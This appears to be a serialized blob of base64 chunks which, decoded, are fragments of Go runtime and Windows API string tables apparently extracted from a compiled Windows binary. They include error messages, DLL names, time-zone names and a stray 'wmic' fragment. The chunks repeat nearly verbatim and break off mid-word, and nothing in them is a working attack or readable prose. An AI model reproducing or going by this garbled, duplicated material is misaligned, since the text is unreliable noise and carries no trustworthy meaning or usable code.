ja2VkIHdyaXRlIG9uIGNsb3NpbmcgcG9sbGRlc2NhY3F1aXJlU3Vkb2c6IGZvdW5kIHMuZWxlbSAhPSBuaWwgaW4gY2FjaGVmYXRhbCBlcnJvcjogY2dvIGNhbGxiYWNrIGJlZm9yZSBjZ28gY2FsbG9uIGEgbG9ja2VkIHRocmVhZCB3aXRoIG5vIHRlbXBsYXRlIHRocmVhZHVuZXhwZWN0ZWQgc2lnbmFsIGR1cmluZyBydW50aW1lIGV4ZWN1dGlvbnN0b3Agb2Ygc3luY3Rlc3QgdGltZXIgZnJvbSBvdXRzaWRlIGJ1YmJsZXRyYWNlU3RvcFJlYWRDUFUgY2FsbGVkIHdpdGggdHJhY2UgZW5hYmxlZGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgcHJvY291dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBjaGVja21hcmtzIGJpdG1hcGV4ZWM6IFdhaXREZWxheSBleHBpcmVkIGJlZm9yZSBJL08gY29tcGxldGVtdWx0NjRiaXRQb3cxMDogcG93ZXIgb2YgMTAgaXMgb3V0IG9mIHJhbmdlL21lbW9yeS9jbGFzc2VzL21ldGFkYXRhL21jYWNoZS9pbnVzZTpieXRlc3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCBpcyBuaWxydW50aW1lLlNldEZpbmFsaXplcjogZmluYWxpemVyIGFscmVhZHkgc2V0Z2NCZ01hcmtXb3JrZXI6IHVuZXhwZWN0ZWQgZ2NNYXJrV29ya2VyTW9kZW5vbiBpbi11c2Ugc3BhbiBmb3VuZCB3aXRoIHNwZWNpYWxzIGJpdCBzZXRncmV3IGhlYXAsIGJ1dCBubyBhZGVxdWF0ZSBmcmVlIHNwYWNlIGZvff:T554,ZXNzdW5yZWFjaGFibGVHZXRGaWxlVHlwZVNZU1RFTVJPT1Q9c2hvcnQgd3JpdGUzMDUxNzU3ODEyNWJhZCBhcmdTaXplbWV0aG9kYXJncyhQcm9jZXNzUHJuZ01vdmVGaWxlRXhXTmV0U2hhcmVBZGROZXRTaGFyZURlbHVzZXJlbnYuZGxsYXNzaXN0UXVldWVuZXRwb2xsSW5pdHJlZmxlY3RPZmZzZ2xvYmFsQWxsb2NtU3Bhbk1hbnVhbHN0YXJ0IHRyYWNlY2xvYmJlcmZyZWVnY2NoZWNrbWFya3NjaGVkZGV0YWlsdW5zcGVjaWZpZWRjZ29jYWxsIG5pbCBzLm5lbGVtcz0gICBvZiBzaXplICBydW50aW1lOiBwICBtcyBjbG9jaywgIG5CU1NSb290cz1ydW50aW1lOiBQICBleHAuKSBmb3IgbWluVHJpZ2dlcj1HT01FTUxJTUlUPWJhZCBtIHZhbHVlLCBlbGVtc2l6ZT0gZnJlZWluZGV4PSBzcGFuLmxpc3Q9LCBucGFnZXMgPSAgcC0+c3RhdHVzPSBpbiBzdGF0dXMgIGlkbGVwcm9jcz0gZ2N3YWl0aW5nPSBzY2hlZHRpY2s9IHRpbWVyc2xlbj0gbWFsbG9jaW5nPWJhZCB0aW1lZGl2ZmxvYXQ2NG5hbjFmbG9hdDY0bmFuMmZsb2F0NjRuYW4zZmxvYXQzMm5hbjJHT1RSQUNFQkFDSykgYXQgZW50cnkrICh0YXJnZXRwYz0gLCBwbHVnaW46IHJ1bm5pbmcgPCAwcnVudGltZTogZyA6IGZyYW1lLnNwPWNyZWF0ZWQgYnkgYnJva2VuIHBpcGVhbGFybSBjbG9ja2JhZCBtZXNzYWdlZmlsZSBleGlzdHNiYWQgYWRkcmVzc1JlZ0Nsb3NlS2V5Q2xvc2VIYW5kbGVDcmVhdGVGaWxlV0RlbGV0ZUZpbGVXRXhpdFByb2Nlc3NGcmVlTGlicmFyeVNldEZpbGVUaW1lVmlydHVhbExvY2tXU0FSZWN2RnJvbWNsb3Nlc29ja2V0Z2V0cGVlcm5hbWVnZXRzb2NrbmFtZWNyeXB0MzIuZGxsbXN3c29jay5kbGxzZWN1cjMyLmRsbHNoZWxsMzIuZGxsaS9vIHRpbWVvdXRnb2NhY2hlaGFzaGdvY2FjaGV0ZXN0aHR0cDJjbGllbnRodHRwMnNlcnZlcnJhbmRzZWVkbm9wYXJjaGl2ZS90YXJ0bHMxMHNlcnZlcmNyeXB0by94NTA5YXJjaGl2ZS96aXBleGl0IHN0YXR1cyBjYW4ndCBoYXBwZW4xNTI1ODc4OTA2MjU3NjI5Mzk0NTMxMjVPcGVu100:T558,ZXNzdW5yZWFjaGFibGVHZXRGaWxlVHlwZVNZU1RFTVJPT1Q9c2hvcnQgd3JpdGUzMDUxNzU3ODEyNWJhZCBhcmdTaXplbWV0aG9kYXJncyhQcm9jZXNzUHJuZ01vdmVGaWxlRXhXTmV0U2hhcmVBZGROZXRTaGFyZURlbHVzZXJlbnYuZGxsYXNzaXN0UXVldWVuZXRwb2xsSW5pdHJlZmxlY3RPZmZzZ2xvYmFsQWxsb2NtU3Bhbk1hbnVhbHN0YXJ0IHRyYWNlY2xvYmJlcmZyZWVnY2NoZWNrbWFya3NjaGVkZGV0YWlsdW5zcGVjaWZpZWRjZ29jYWxsIG5pbCBzLm5lbGVtcz0gICBvZiBzaXplICBydW50aW1lOiBwICBtcyBjbG9jaywgIG5CU1NSb290cz1ydW50aW1lOiBQICBleHAuKSBmb3IgbWluVHJpZ2dlcj1HT01FTUxJTUlUPWJhZCBtIHZhbHVlLCBlbGVtc2l6ZT0gZnJlZWluZGV4PSBzcGFuLmxpc3Q9LCBucGFnZXMgPSAgcC0+c3RhdHVzPSBpbiBzdGF0dXMgIGlkbGVwcm9jcz0gZ2N3YWl0aW5nPSBzY2hlZHRpY2s9IHRpbWVyc2xlbj0gbWFsbG9jaW5nPWJhZCB0aW1lZGl2ZmxvYXQ2NG5hbjFmbG9hdDY0bmFuMmZsb2F0NjRuYW4zZmxvYXQzMm5hbjJHT1RSQUNFQkFDSykgYXQgZW50cnkrICh0YXJnZXRwYz0gLCBwbHVnaW46IHJ1bm5pbmcgPCAwcnVudGltZTogZyA6IGZyYW1lLnNwPWNyZWF0ZWQgYnkgYnJva2VuIHBpcGVhbGFybSBjbG9ja2JhZCBtZXNzYWdlZmlsZSBleGlzdHNiYWQgYWRkcmVzc1JlZ0Nsb3NlS2V5Q2xvc2VIYW5kbGVDcmVhdGVGaWxlV0RlbGV0ZUZpbGVXRXhpdFByb2Nlc3NGcmVlTGlicmFyeVNldEZpbGVUaW1lVmlydHVhbExvY2tXU0FSZWN2RnJvbWNsb3Nlc29ja2V0Z2V0cGVlcm5hbWVnZXRzb2NrbmFtZWNyeXB0MzIuZGxsbXN3c29jay5kbGxzZWN1cjMyLmRsbHNoZWxsMzIuZGxsaS9vIHRpbWVvdXRnb2NhY2hlaGFzaGdvY2FjaGV0ZXN0aHR0cDJjbGllbnRodHRwMnNlcnZlcnJhbmRzZWVkbm9wYXJjaGl2ZS90YXJ0bHMxMHNlcnZlcmNyeXB0by94NTA5YXJjaGl2ZS96aXBleGl0IHN0YXR1cyBjYW4ndCBoYXBwZW4xNTI1ODc4OTA2MjU3NjI5Mzk0NTMxMjVPcGVuUw==101:T550,Z2VuZXJhdGlvbnRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIG5leHQgZ2VuZXJhdGlvbmdvcm91dGluZSBydW5uaW5nIG9uIG90aGVyIHRocmVhZDsgc3RhY2sgdW5hdmFpbGFibGVpbnRlcm5hbCBlcnJvcjogbmVnYXRpdmUgcHJvY2VzcyBoYW5kbGUgcmVmZXJlbmNlIGNvdW50U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cVGltZSBab25lc3JlZmxlY3Q6IGludGVybmFsIGVycm9yOiBpbnZhbGlkIHVzZSBvZiBtYWtlTWV0aG9kVmFsdWVtaGVhcC5mcmVlU3BhbkxvY2tlZCAtIGludmFsaWQgZnJlZSBvZiB1c2VyIGFyZW5hIGNodW5rY2FzZnJvbV9Hc2NhbnN0YXR1czp0b3AgZ3AtPnN0YXR1cyBpcyBub3QgaW4gc2NhbiBzdGF0ZSBpcyBjdXJyZW50bHkgbm90IHN1cHBvcnRlZCBmb3IgdXNlIGluIHN5c3RlbSBjYWxsYmFja3NzdHJpbmdzOiBpbGxlZ2FsIHVzZSBvZiBub24temVybyBCdWlsZGVyIGNvcGllZCBieSB2YWx1ZW5vbi1lbXB0eSBwb2ludGVyIG1hcCBwYXNzZWQgZm9yIG5vbi1wb2ludGVyLXNpemUgdmFsdWVzZmFpbGVkIHRvIGFsbG9jYXRlIGFsaWduZWQgaGVhcCBtZW1vcnk7IHRvbyBtYW55IHJldHJpZXNwcm9maWxlYWxsb2MgY2FsbGVkIHdpdGhvdXQgYSBQIG9yIG91dHNpZGUgYm9vdHN0cmFwcGluZ2RldGVjdGVkIHBvc3NpYmxlIGlzc3VlcyB3aXRoIGNsZWFudXBzIGFuZC9vciBmaW5hbGl6ZXJzaW4gZ2NNYXJrIGV4cGVjdGluZyB0byBzZWUgZ2NwaGFzZSBhcyBfR0NtYXJrdGVybWluYXRpb25ydW50aW1lOiBOdEFzc29jaWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGNhbm5vdCBydW4gZXhlY3V0YWJsZSBmb3VuZCByZWxhdGl2ZSB0byBjdXJyZW50IGRpcmVjdG9yeSAoc2V0IEdPREVCVUc9ZXhlY3dhaXQ9MiB0byBjYXB0dXJlIHN0YWNrcyBmb3IgZGVidWdnaW5nKXJ1bnRpbWU6IGNoZWNrbWFya3MgZm91bmQgdW5leHBlY3RlZCB1bm1hcmtlZCBvYmplY3Qgb2JqPXdtaWMgY29tcHV0102:T554,Z2VuZXJhdGlvbnRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIG5leHQgZ2VuZXJhdGlvbmdvcm91dGluZSBydW5uaW5nIG9uIG90aGVyIHRocmVhZDsgc3RhY2sgdW5hdmFpbGFibGVpbnRlcm5hbCBlcnJvcjogbmVnYXRpdmUgcHJvY2VzcyBoYW5kbGUgcmVmZXJlbmNlIGNvdW50U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cVGltZSBab25lc3JlZmxlY3Q6IGludGVybmFsIGVycm9yOiBpbnZhbGlkIHVzZSBvZiBtYWtlTWV0aG9kVmFsdWVtaGVhcC5mcmVlU3BhbkxvY2tlZCAtIGludmFsaWQgZnJlZSBvZiB1c2VyIGFyZW5hIGNodW5rY2FzZnJvbV9Hc2NhbnN0YXR1czp0b3AgZ3AtPnN0YXR1cyBpcyBub3QgaW4gc2NhbiBzdGF0ZSBpcyBjdXJyZW50bHkgbm90IHN1cHBvcnRlZCBmb3IgdXNlIGluIHN5c3RlbSBjYWxsYmFja3NzdHJpbmdzOiBpbGxlZ2FsIHVzZSBvZiBub24temVybyBCdWlsZGVyIGNvcGllZCBieSB2YWx1ZW5vbi1lbXB0eSBwb2ludGVyIG1hcCBwYXNzZWQgZm9yIG5vbi1wb2ludGVyLXNpemUgdmFsdWVzZmFpbGVkIHRvIGFsbG9jYXRlIGFsaWduZWQgaGVhcCBtZW1vcnk7IHRvbyBtYW55IHJldHJpZXNwcm9maWxlYWxsb2MgY2FsbGVkIHdpdGhvdXQgYSBQIG9yIG91dHNpZGUgYm9vdHN0cmFwcGluZ2RldGVjdGVkIHBvc3NpYmxlIGlzc3VlcyB3aXRoIGNsZWFudXBzIGFuZC9vciBmaW5hbGl6ZXJzaW4gZ2NNYXJrIGV4cGVjdGluZyB0byBzZWUgZ2NwaGFzZSBhcyBfR0NtYXJrdGVybWluYXRpb25ydW50aW1lOiBOdEFzc29jaWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGNhbm5vdCBydW4gZXhlY3V0YWJsZSBmb3VuZCByZWxhdGl2ZSB0byBjdXJyZW50IGRpcmVjdG9yeSAoc2V0IEdPREVCVUc9ZXhlY3dhaXQ9MiB0byBjYXB0dXJlIHN0YWNrcyBmb3IgZGVidWdnaW5nKXJ1bnRpbWU6IGNoZWNrbWFya3MgZm91bmQgdW5leHBlY3RlZCB1bm1hcmtlZCBvYmplY3Qgb2JqPXdtaWMgY29tcHV0ZQ==103:T554,aW5kZXggb3V0IG9mIHJhbmdlc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4OiV5XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4OiV5Ol1vdXQgb2YgbWVtb3J5IGFsbG9jYXRpbmcgYWxsQXJlbmFzLi4uIHRvbyBtYW55IHBvdGVudGlhbCBpc3N1ZXMgLi4uL21lbW9yeS9jbGFzc2VzL2hlYXAvb2JqZWN0czpieXRlc3J1bnRpbWUuU2V0RmluYWxpemVyOiBjYW5ub3QgcGFzcyB0b28gbWFueSBwYWdlcyBhbGxvY2F0ZWQgaW4gY2h1bms/bXNwYW4uZW5zdXJlU3dlcHQ6IG0gaXMgbm90IGxvY2tlZHJ1bnRpbWU6IHNvdXJjZSB2YWx1ZSBpcyB0b28gbGFyZ2VWaXJ0dWFsUXVlcnkgZm9yIHN0YWNrIGJhc2UgZmFpbGVkZm9yRWFjaFA6IHNjaGVkLnNhZmVQb2ludFdhaXQgIT0gMHNjaGVkdWxlOiBzcGlubmluZyB3aXRoIGxvY2FsIHdvcmtlbnRlcnN5c2NhbGxibG9jayBpbmNvbnNpc3RlbnQgYnAgZW50ZXJzeXNjYWxsYmxvY2sgaW5jb25zaXN0ZW50IHNwIHJ1bnRpbWU6IGcgaXMgcnVubmluZyBidXQgcCBpcyBub3RpbnZhbGlkIHRpbWVyIGNoYW5uZWw6IG5vIGNhcGFjaXR5dG9vIG1hbnkgcmVmZXJlbmNlczogY2Fubm90IHNwbGljZVNldEZpbGVDb21wbGV0aW9uTm90aWZpY2F0aW9uTW9kZXN1bmV4cGVjdGVkIHJ1bnRpbWUubmV0cG9sbCBlcnJvcjogZXhlY3V0YWJsZSBmaWxlIG5vdCBmb3VuZCBpbiAlUEFUSCUyMDA2LTAxLTAyVDE1OjA0OjA1Ljk5OTk5OTk5OVowNzowMDE3NzYzNTY4Mzk0MDAyNTA0NjQ2Nzc4MTA2Njg5NDUzMTI1ODg4MTc4NDE5NzAwMTI1MjMyMzM4OTA1MzM0NDcyNjU2MjVyeXVGdG9hRml4ZWQzMiBjYWxsZWQgd2l0aCBwcmVjID4gOXBlcnNpc3RlbnRhbGxvYzogYWxpZ24gaXMgdG9vIGxhcmdlL21lbW9yeS9jbGFzc2VzL2hlYXAvcmVsZWFzZWQ6Ynl0ZXNncmV5b2JqZWN0OiBvYmogbm90IHBvaW50ZXItYWxpZ25lZG1pc21hdGNoZWQgYmVnaW4vZW5kIG9mIGFjdGl2ZVN3ZWVwbWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBpbnZhbGlkIGZyZWVhdHRlbXB0IHQ=104:T554,aW5kZXggb3V0IG9mIHJhbmdlc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4OiV5XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4OiV5Ol1vdXQgb2YgbWVtb3J5IGFsbG9jYXRpbmcgYWxsQXJlbmFzLi4uIHRvbyBtYW55IHBvdGVudGlhbCBpc3N1ZXMgLi4uL21lbW9yeS9jbGFzc2VzL2hlYXAvb2JqZWN0czpieXRlc3J1bnRpbWUuU2V0RmluYWxpemVyOiBjYW5ub3QgcGFzcyB0b28gbWFueSBwYWdlcyBhbGxvY2F0ZWQgaW4gY2h1bms/bXNwYW4uZW5zdXJlU3dlcHQ6IG0gaXMgbm90IGxvY2tlZHJ1bnRpbWU6IHNvdXJjZSB2YWx1ZSBpcyB0b28gbGFyZ2VWaXJ0dWFsUXVlcnkgZm9yIHN0YWNrIGJhc2UgZmFpbGVkZm9yRWFjaFA6IHNjaGVkLnNhZmVQb2ludFdhaXQgIT0gMHNjaGVkdWxlOiBzcGlubmluZyB3aXRoIGxvY2FsIHdvcmtlbnRlcnN5c2NhbGxibG9jayBpbmNvbnNpc3RlbnQgYnAgZW50ZXJzeXNjYWxsYmxvY2sgaW5jb25zaXN0ZW50IHNwIHJ1bnRpbWU6IGcgaXMgcnVubmluZyBidXQgcCBpcyBub3RpbnZhbGlkIHRpbWVyIGNoYW5uZWw6IG5vIGNhcGFjaXR5dG9vIG1hbnkgcmVmZXJlbmNlczogY2Fubm90IHNwbGljZVNldEZpbGVDb21wbGV0aW9uTm90aWZpY2F0aW9uTW9kZXN1bmV4cGVjdGVkIHJ1bnRpbWUubmV0cG9sbCBlcnJvcjogZXhlY3V0YWJsZSBmaWxlIG5vdCBmb3VuZCBpbiAlUEFUSCUyMDA2LTAxLTAyVDE1OjA0OjA1Ljk5OTk5OTk5OVowNzowMDE3NzYzNTY4Mzk0MDAyNTA0NjQ2Nzc4MTA2Njg5NDUzMTI1ODg4MTc4NDE5NzAwMTI1MjMyMzM4OTA1MzM0NDcyNjU2MjVyeXVGdG9hRml4ZWQzMiBjYWxsZWQgd2l0aCBwcmVjID4gOXBlcnNpc3RlbnRhbGxvYzogYWxpZ24gaXMgdG9vIGxhcmdlL21lbW9yeS9jbGFzc2VzL2hlYXAvcmVsZWFzZWQ6Ynl0ZXNncmV5b2JqZWN0OiBvYmogbm90IHBvaW50ZXItYWxpZ25lZG1pc21hdGNoZWQgYmVnaW4vZW5kIG9mIGFjdGl2ZVN3ZWVwbWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBpbnZhbGlkIGZyZWVhdHRlbXB0IHRv105:T554,aXMgbmlsIGFuZCBsZW4gaXMgbm90IHplcm9oYW5kbGVUcmFuc2llbnRBY3F1aXJlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVoYW5kbGVUcmFuc2llbnRSZWxlYXNlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVyZWZsZWN0OiBpbnRlcm5hbCBlcnJvcjogaW52YWxpZCBtZXRob2QgaW5kZXhjbG9zZSBvZiBzeW5jdGVzdCBjaGFubmVsIGZyb20gb3V0c2lkZSBidWJibGUgIG1heSBiZSBpbiB0aGUgc2FtZSB0aW55IGJsb2NrIGFzIGZpbmFsaXplcnRyYW5zaXRpb25pbmcgR0MgdG8gdGhlIHNhbWUgc3RhdGUgYXMgYmVmb3JlP3Byb2R1Y2VkIGEgdHJpZ2dlciBncmVhdGVyIHRoYW4gdGhlIGhlYXAgZ29hbHRyaWVkIHRvIHJ1biBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IGZhaWxlZCBtU3Bhbkxpc3QucmVtb3ZlIHNwYW4ubnBhZ2VzPXJ1bnRpbWUubWluaXQ6IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IENyZWF0ZVdhaXRhYmxlVGltZXJFeCBmYWlsZWQ7IGVycm5vPWV4aXRzeXNjYWxsOiBzeXNjYWxsIGZyYW1lIGlzIG5vIGxvbmdlciB2YWxpZHVuc2FmZS5TdHJpbmc6IHB0ciBpcyBuaWwgYW5kIGxlbiBpcyBub3QgemVyb2Nhbm5vdCBzZW5kIGFmdGVyIHRyYW5zcG9ydCBlbmRwb2ludCBzaHV0ZG93bm9zOiB1bmV4cGVjdGVkIHJlc3VsdCBmcm9tIFdhaXRGb3JTaW5nbGVPYmplY3RydW50aW1lLkFkZENsZWFudXA6IHB0ciBub3QgaW4gYWxsb2NhdGVkIGJsb2Nrc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4XSB3aXRoIGxlbmd0aCAleXBhbmljd3JhcDogdW5leHBlY3RlZCBzdHJpbmcgYWZ0ZXIgdHlwZSBuYW1lOiBtZW1vcnkgcmVzZXJ2YXRpb24gZXhjZWVkcyBhZGRyZXNzIHNwYWNlIGxpbWl0dHJpZWQgdG8gcGFyayBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJlbGVhc2VkIGxlc3MgdGhhbiBvbmUgcGh5c2ljYWwgcGFnZSBvZiBtZW1vcnlzeXNHcm93IGJvdW5kcyBub3QgYWxpZ25lZCB0byBwYWxsb2NDaHVua0J5dGU=106:T554,aXMgbmlsIGFuZCBsZW4gaXMgbm90IHplcm9oYW5kbGVUcmFuc2llbnRBY3F1aXJlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVoYW5kbGVUcmFuc2llbnRSZWxlYXNlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVyZWZsZWN0OiBpbnRlcm5hbCBlcnJvcjogaW52YWxpZCBtZXRob2QgaW5kZXhjbG9zZSBvZiBzeW5jdGVzdCBjaGFubmVsIGZyb20gb3V0c2lkZSBidWJibGUgIG1heSBiZSBpbiB0aGUgc2FtZSB0aW55IGJsb2NrIGFzIGZpbmFsaXplcnRyYW5zaXRpb25pbmcgR0MgdG8gdGhlIHNhbWUgc3RhdGUgYXMgYmVmb3JlP3Byb2R1Y2VkIGEgdHJpZ2dlciBncmVhdGVyIHRoYW4gdGhlIGhlYXAgZ29hbHRyaWVkIHRvIHJ1biBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IGZhaWxlZCBtU3Bhbkxpc3QucmVtb3ZlIHNwYW4ubnBhZ2VzPXJ1bnRpbWUubWluaXQ6IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IENyZWF0ZVdhaXRhYmxlVGltZXJFeCBmYWlsZWQ7IGVycm5vPWV4aXRzeXNjYWxsOiBzeXNjYWxsIGZyYW1lIGlzIG5vIGxvbmdlciB2YWxpZHVuc2FmZS5TdHJpbmc6IHB0ciBpcyBuaWwgYW5kIGxlbiBpcyBub3QgemVyb2Nhbm5vdCBzZW5kIGFmdGVyIHRyYW5zcG9ydCBlbmRwb2ludCBzaHV0ZG93bm9zOiB1bmV4cGVjdGVkIHJlc3VsdCBmcm9tIFdhaXRGb3JTaW5nbGVPYmplY3RydW50aW1lLkFkZENsZWFudXA6IHB0ciBub3QgaW4gYWxsb2NhdGVkIGJsb2Nrc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4XSB3aXRoIGxlbmd0aCAleXBhbmljd3JhcDogdW5leHBlY3RlZCBzdHJpbmcgYWZ0ZXIgdHlwZSBuYW1lOiBtZW1vcnkgcmVzZXJ2YXRpb24gZXhjZWVkcyBhZGRyZXNzIHNwYWNlIGxpbWl0dHJpZWQgdG8gcGFyayBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJlbGVhc2VkIGxlc3MgdGhhbiBvbmUgcGh5c2ljYWwgcGFnZSBvZiBtZW1vcnlzeXNHcm93IGJvdW5kcyBub3QgYWxpZ25lZCB0byBwYWxsb2NDaHVua0J5dGVz107:T554,bGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXhDYW5hZGEgQ2VudHJhbCBTdGFuZGFyZCBUaW1lQ2VuLiBBdXN0cmFsaWEgU3RhbmRhcmQgVGltZUF1cyBDZW50cmFsIFcuIFN0YW5kYXJkIFRpbWVDZW50cmFsIEV1cm9wZSBTdGFuZGFyZCBUaW1lRW5nbGlzaCBuYW1lIGZvciB0aW1lIHpvbmUgIjE4MTg5ODk0MDM1NDU4NTY0NzU4MzAwNzgxMjU5MDk0OTQ3MDE3NzI5MjgyMzc5MTUwMzkwNjI1R0MgbWFyayBhc3Npc3Qgd2FpdCBmb3Igd29ya2NvbXBhcmluZyB1bmNvbXBhcmFibGUgdHlwZSByZWdpb24gZXhjZWVkcyB1aW50cHRyIHJhbmdlL2djL2hlYXAvZnJlZXMtYnktc2l6ZTpieXRlcy9nYy9oZWFwL3RpbnkvYWxsb2NzOm9iamVjdHMvc2NoZWQvZ29yb3V0aW5lczpnb3JvdXRpbmVzZ2NCZ01hcmtXb3JrZXI6IG1vZGUgbm90IHNldG1zcGFuLnN3ZWVwOiBtIGlzIG5vdCBsb2NrZWRmb3VuZCBwb2ludGVyIHRvIGZyZWUgb2JqZWN0bWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBzcGFuIHJ1bnRpbWUuc2VtYXNsZWVwIHVuZXhwZWN0ZWRmYXRhbDogbW9yZXN0YWNrIG9uIGdzaWduYWxydW50aW1lOiBjYXNnc3RhdHVzOiBvbGR2YWw9Z2NzdG9wbTogbmVnYXRpdmUgbm1zcGlubmluZ2ZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHBzYXZlIG9uIHN5c3RlbSBnIG5vdCBhbGxvd2VkbmV3cHJvYzE6IG5ld2cgbWlzc2luZyBzdGFja25ld3Byb2MxOiBuZXcgZyBpcyBub3QgR2RlYWRGaXhlZFN0YWNrIGlzIG5vdCBwb3dlci1vZi0ybWlzc2luZyBzdGFjayBpbiBzaHJpbmtzdGFjayBhcmdzIHN0YWNrIG1hcCBlbnRyaWVzIGZvciBpbnZhbGlkIHJ1bnRpbWUgc3ltYm9sIHRhYmxlcnVudGltZTogbm8gbW9kdWxlIGRhdGEgZm9yIG1pc21hdGNoZWQgaXNTZW5kaW5nIHVwZGF0ZXNbb3JpZ2luYXRpbmcgZnJvbSBnb3JvdXRpbmUgdHJhY2VSZWdpb246IGFsbG9jIHRvbyBsYXJnZWZpbGUgZGVzY3JpcHRvciBpbiBiYWQgc3RhdGVkZXN0aW5hdGlvbiBhZGRyZXNzIHJlcXVpcmVkcHJvdG9jb2wgZHJpdmVyIG5vdA==108:T554,bGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXhDYW5hZGEgQ2VudHJhbCBTdGFuZGFyZCBUaW1lQ2VuLiBBdXN0cmFsaWEgU3RhbmRhcmQgVGltZUF1cyBDZW50cmFsIFcuIFN0YW5kYXJkIFRpbWVDZW50cmFsIEV1cm9wZSBTdGFuZGFyZCBUaW1lRW5nbGlzaCBuYW1lIGZvciB0aW1lIHpvbmUgIjE4MTg5ODk0MDM1NDU4NTY0NzU4MzAwNzgxMjU5MDk0OTQ3MDE3NzI5MjgyMzc5MTUwMzkwNjI1R0MgbWFyayBhc3Npc3Qgd2FpdCBmb3Igd29ya2NvbXBhcmluZyB1bmNvbXBhcmFibGUgdHlwZSByZWdpb24gZXhjZWVkcyB1aW50cHRyIHJhbmdlL2djL2hlYXAvZnJlZXMtYnktc2l6ZTpieXRlcy9nYy9oZWFwL3RpbnkvYWxsb2NzOm9iamVjdHMvc2NoZWQvZ29yb3V0aW5lczpnb3JvdXRpbmVzZ2NCZ01hcmtXb3JrZXI6IG1vZGUgbm90IHNldG1zcGFuLnN3ZWVwOiBtIGlzIG5vdCBsb2NrZWRmb3VuZCBwb2ludGVyIHRvIGZyZWUgb2JqZWN0bWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBzcGFuIHJ1bnRpbWUuc2VtYXNsZWVwIHVuZXhwZWN0ZWRmYXRhbDogbW9yZXN0YWNrIG9uIGdzaWduYWxydW50aW1lOiBjYXNnc3RhdHVzOiBvbGR2YWw9Z2NzdG9wbTogbmVnYXRpdmUgbm1zcGlubmluZ2ZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHBzYXZlIG9uIHN5c3RlbSBnIG5vdCBhbGxvd2VkbmV3cHJvYzE6IG5ld2cgbWlzc2luZyBzdGFja25ld3Byb2MxOiBuZXcgZyBpcyBub3QgR2RlYWRGaXhlZFN0YWNrIGlzIG5vdCBwb3dlci1vZi0ybWlzc2luZyBzdGFjayBpbiBzaHJpbmtzdGFjayBhcmdzIHN0YWNrIG1hcCBlbnRyaWVzIGZvciBpbnZhbGlkIHJ1bnRpbWUgc3ltYm9sIHRhYmxlcnVudGltZTogbm8gbW9kdWxlIGRhdGEgZm9yIG1pc21hdGNoZWQgaXNTZW5kaW5nIHVwZGF0ZXNbb3JpZ2luYXRpbmcgZnJvbSBnb3JvdXRpbmUgdHJhY2VSZWdpb246IGFsbG9jIHRvbyBsYXJnZWZpbGUgZGVzY3JpcHRvciBpbiBiYWQgc3RhdGVkZXN0aW5hdGlvbiBhZGRyZXNzIHJlcXVpcmVkcHJvdG9jb2wgZHJpdmVyIG5vdCBh109:T554,bG9jazogbG9jayBjb3VudGJhZCBzeXN0ZW0gaHVnZSBwYWdlIHNpemVhcmVuYSBhbHJlYWR5IGluaXRpYWxpemVkIHRvIHVudXNlZCByZWdpb24gb2Ygc3BhbiBieXRlcyBmYWlsZWQgd2l0aCBlcnJubz1ydW50aW1lOiBWaXJ0dWFsQWxsb2Mgb2YgL3NjaGVkL2dvbWF4cHJvY3M6dGhyZWFkc21pc3NpbmcgdHlwZSBpbiBmaW5hbGl6ZXJyZW1haW5pbmcgcG9pbnRlciBidWZmZXJzc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZV9jZ29fdGhyZWFkX3N0YXJ0IG1pc3NpbmdhbGxnYWRkOiBiYWQgc3RhdHVzIEdpZGxlcnVudGltZTogcHJvZ3JhbSBleGNlZWRzIHN0YXJ0bTogcCBoYXMgcnVubmFibGUgZ3NzdG9wbG9ja2VkbTogbm90IHJ1bm5hYmxlcmVsZWFzZXA6IGludmFsaWQgcCBzdGF0ZWNoZWNrZGVhZDogbm8gcCBmb3IgdGltZXJjaGVja2RlYWQ6IG5vIG0gZm9yIHRpbWVydW5rbm93biBzaWd0cmFtcCBjYWxsYmFja3VuZXhwZWN0ZWQgZmF1bHQgYWRkcmVzcyBtaXNzaW5nIHN0YWNrIGluIG5ld3N0YWNrYmFkIHN0YXR1cyBpbiBzaHJpbmtzdGFja21pc3NpbmcgdHJhY2VHQ1N3ZW